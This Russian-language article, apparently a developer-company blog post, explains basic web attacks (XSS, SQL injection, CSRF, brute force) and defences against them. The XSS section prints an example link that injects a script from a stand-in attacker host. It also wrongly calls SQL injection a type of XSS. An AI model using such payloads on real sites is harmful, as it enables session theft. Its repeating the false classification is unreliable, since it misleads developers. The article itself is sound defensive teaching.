Базовая защита данных на JavaScript

Последние пару лет защита личных данных пользователей стала камнем преткновения для многих компаний. Сбербанк, Skyeng, Delivery Club и ещё десятки крупных компаний в России и мире страдают от утечек данных каждый год. В этой статье специалисты MediaSoft собрали рекомендации, как базово защитить личные данные пользователей от утечек.

Разберёмся, как можно воздействовать на данные пользователя извне, и как это предотвратить.

 

 

МЕЖСАЙТОВЫЙ СКРИПТИНГ, XSS

XSS — это внедрение вредоносного кода на страницы атакуемого сервера. В браузере клиента будет выполнен произвольный JavaScript-код, который позволит злоумышленнику украсть пользовательскую сессию.

Чтобы качественно защититься от XSS-атак, стоит разобраться в их видах. Уязвимости XSS делятся на отражённые и хранимые. Это зависит от того, как сайт возвращает внедрённый код в браузер. 

  • Отражённая XSS-уязвимость возникает, когда контент пользователя, передаваемый на сервер, немедленно и без изменений возвращается для отображения в браузере. Любой скрипт в исходном пользовательском контенте запустится при загрузке новой страницы. Злоумышленник может создать поисковую ссылку, которая будет содержать вредоносный скрипт в качестве параметра (например: http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script>) и переслать его другому пользователю по электронной почте. 
  • Хранимая уязвимость XSS возникает, когда вредоносный скрипт хранится на сайте, а затем снова отображается без изменений.

Интерактивные примеры атаки:
DOM XSS;
отражённая XSS-атака.

КАК ЗАЩИТИТЬСЯ ОТ XSS-АТАК?

Инструменты санитизации. Санитизация — это «очистка» кода от подозрительных или вредоносных участков кода.

Функцию очистки можно написать самостоятельно, но для продакшна такой вариант недостаточен. Рекомендуем воспользоваться специальной библиотекой-санитайзером. Например, DOM Purify. Подобные библиотеки могут отсечь код, который считают небезопасным.

Экранирование — это замена специальных символов, которые браузер может посчитать за теги, безопасными. 
При экранировании запись <script>alert('XSS!');</script> превратится в &lt;script&gt;alert('XSS!');&lt/script&gt;. Такую запись браузер не распознает как тег или скрипт.

Для реализации экранирования пользовательского контента в JavaScript необходимо использовать:
encodeURI — чтобы кодировать URI-адрес
encodeURIComponent — кодировать часть URI-адреса, например, searchQuery,
специальные библиотеки для замены <, >, '," и других специальных символов.

Content Security Policy (CSP) — один из самых мощных способов защиты. Это «белый» список того, что можно использовать в работе. Каждая из директив CSP отвечает за тип источника:
script-src — список источников, откуда могут подгружаться скрипты;
style-src — стили;
img-src — ресурс для загрузки картинок.
Content Security Policy — хороший инструмент защиты, который даёт большой простор для работы из-за обилия возможных настроек. Весь список директив и настроек здесь.

SQL-ИНЪЕКЦИИ, SQL-INJECTION

SQL-инъекции — это один из видов XSS. Суть этой атаки заключается в доступе к данным атакуемого сервиса или их изменению. 

Когда пользователь отправляет данные на веб-сайте, они попадают в веб-приложение, которое, в свою очередь, использует эти данные при доступе ко всей базе данных. Для обращения к данным в реляционных БД используется SQL (Structured Query Language). Этот язык стандартизирован, и основные его команды одинаковы для разных производителей системы управления базами данных — Microsoft, Oracle, MySQL, PostgreSQL и других.

Интерактивный пример атаки.

КАК ЗАЩИТИТЬСЯ ОТ SQL-ИНЪЕКЦИЙ?

Используйте параметризацию. Данные, присылаемые пользователем, не должны участвовать в формировании текста SQL-запроса. По крайней мере, напрямую. Это достигается использованием подготовленных запросов.

В этом случае какой бы текст пользователь не ввёл, приложение будет искать текст только в заданных категориях.
Используйте хранимые процедуры. В некоторых запросах невозможно использовать параметризацию. В таком случае необходимо ограничить список допустимых значений — создать «белый список» для значений, приходящих от пользователя. 

Давайте меньше привилегий. Системная учетная запись должна иметь как можно меньше привилегий. Не нужно давать возможность читать и создавать файлы, не относящиеся к приложению, и производить другие критические с точки зрения безопасности действия.

МЕЖСЕТЕВАЯ ПОДДЕЛКА ЗАПРОСА, CSRF

CSRF могут быть подвергнуты веб-приложения использующие cookies, браузерную аутентификацию или клиентские сертификаты авторизации. Сервер не может понять, исходит запрос от пользователя или от хакера. В атаке используются недостатки протокола HTTP. 

Для выполнения CSRF необходимы определённые условия:

  • на уязвимом сайте есть действие, которое злоумышленник может выполнить от имени жертвы (например, перевести деньги);
  • злоумышленник заранее знает все параметры запроса;
  • действие полагается только на файлы cookies для верификации пользователя и выполняется с помощью HTTP-запросов.

Интерактивный пример атаки.

КАК ЗАЩИТИТЬСЯ ОТ CSRF-АТАК?

Выбирайте защищённые фреймворки. Это те фреймворки, которые имеют встроенную защиту против CSRF. Кроме того, уделите внимание правильной настройке фреймворка. Если ваш фреймворк не имеет защиты, то можно использовать CSRF токены.

CSRF токены. Сервер генерирует уникальный проверочный токен, который передается на сторону клиента в виде скрытого поля или параметра URL. Затем клиентская сторона возвращает этот токен как часть формы или URL, а сервер проверяет действительность токена. Токен обычно генерируется для каждого пользователя на одну сессию. 

В отличие от cookies, которые передаются браузером вместе с соответствующим запросом, независимо от происхождения запроса, токены защищены same-origin policy. Они являются непосредственной частью страницы.

Условия, которым должен удовлетворять токен:

  • быть уникальным в пределах каждой операции;
  • использоваться один раз;
  • иметь размер устойчивый к подбору;
  • генерироваться криптографически стойким генератором псевдослучайных чисел;
  • иметь ограниченное время жизни.

Double submit cookie. В этом случае так же генерируется уникальные токен для каждой сессии, но он помещается в cookies. Пользователь должен передать одинаковые значения в cookies и в запросе. Если они совпадают, значит запрос отправляет реальный пользователь, а если нет — хакер. Атакующий не может изменить cookies в браузере пользователя, поэтому классическая CSRF-атака не сработает.

SOP или same-origin policy. Такая политика определяет, как скрипт или документ будет взаимодействовать с ресурсом, загруженным из другого источника. У двух страниц одинаковый источник, если host, port и протокол (http/https) совпадают. Запись вида scheme/host/port tuple позволяет изолировать документы, которые могут нанести вред.

Same-Site Cookies. Этот метод помечает cookies для одного доменного имени атрибутом samesite, который может иметь два значения: lax или strict. Суть заключается в том, что браузер не отправляет cookies, если запрос происходит с другого домена.

Также с помощью Same-Site Cookies можно выставить cookies так, чтобы они были видны только для сервиса, который их выставил:
Set-Cookie: key=value; SameSite=Strict

Также, если с куками не должны работать клиентские скрипты, их можно спрятать:
Set-Cookie: key=value; HttpOnly

Это сделает cookies видимой только для сервера и браузера.

Подтверждение действий от пользователя. Для изменения каких-либо данных, перевода денег и т.д. добавить дополнительное подтверждающее действие — хорошая практика. Например, можно попросить пользователя ввести капчу или нажать на кнопку на сайте.

BRUTEFORCE ATTACK

Bruteforce attack – это атака, при которой злоумышленник получает данные для входа в систему перебором. Самый простой пример — попытка угадать пароль.

Такая атака нужна для того, чтобы получить доступ к системе, проверить надёжность или обнаружить уязвимость. 

КАК ЗАЩИТИТЬСЯ ОТ BRUTEFORCE-АТАК?

Ограничение частоты обращений. Хакеру может потребоваться огромное количество попыток, чтобы угадать пароль, а вот владельцу аккаунта достаточно 10-15, чтобы его вспомнить. Кроме того, ограничение частоты поможет регулировать входящий и исходящий трафик.

reCAPTCHA. Это одно из классических решений, которое работает только для форм авторизации/регистрации и не даёт атакующему отправлять случайные запросы. 

Надёжные пароли. Принципиально отвергайте слабые пароли, требуйте надежных и сложных паролей и периодической смены паролей.

Многофакторная аутентификация. Обеспечивает дополнительный уровень безопасности, для успешного прохождения которого требуется более высокая степень компрометирования системы безопасности.

Высокий уровень шифрования. Чем выше степень шифрования, тем сложнее перебрать пароль.

Рандомизированные хэши паролей. В пароль вводятся дополнительные случайные строки символов, которые делают хэш рандомным.

ВЫВОД

В статье вместе с экспертами MediaSoft мы разобрались, как можно воздействовать на данные извне. Разобрались в базовых методах защиты пользовательских данных. Помните, что веб-приложение не может доверять никаким данным из веб-браузера. Все пользовательские данные должны быть очищены перед отображением или использованием в SQL-запросах и вызовах файловой системы. 

Если вам стала интересна эта тема, и вы хотите углубиться в тему безопасности, то рекомендуем обратить внимание на ссылки в разделе дополнительные материалы.

Важно не только предотвратить уязвимости своего кода или защитить информацию, но и понимать, как работают механизмы защиты на других уровнях: передача данных, backend, frontend, база. 


ДОПОЛНИТЕЛЬНЫЕ МАТЕРИАЛЫ

XSS Game — игра от Google для оттачивания хакерских навыков.
Сайт для тренировки основных видов атак веб-приложений.
Безопасность: уязвимости вашего приложения — доклад с HolyJS.
Лекция об угрозах из списка OWASP Top 10.
Онлайн-тренажеры по HTML, CSS, JS и React для начинающих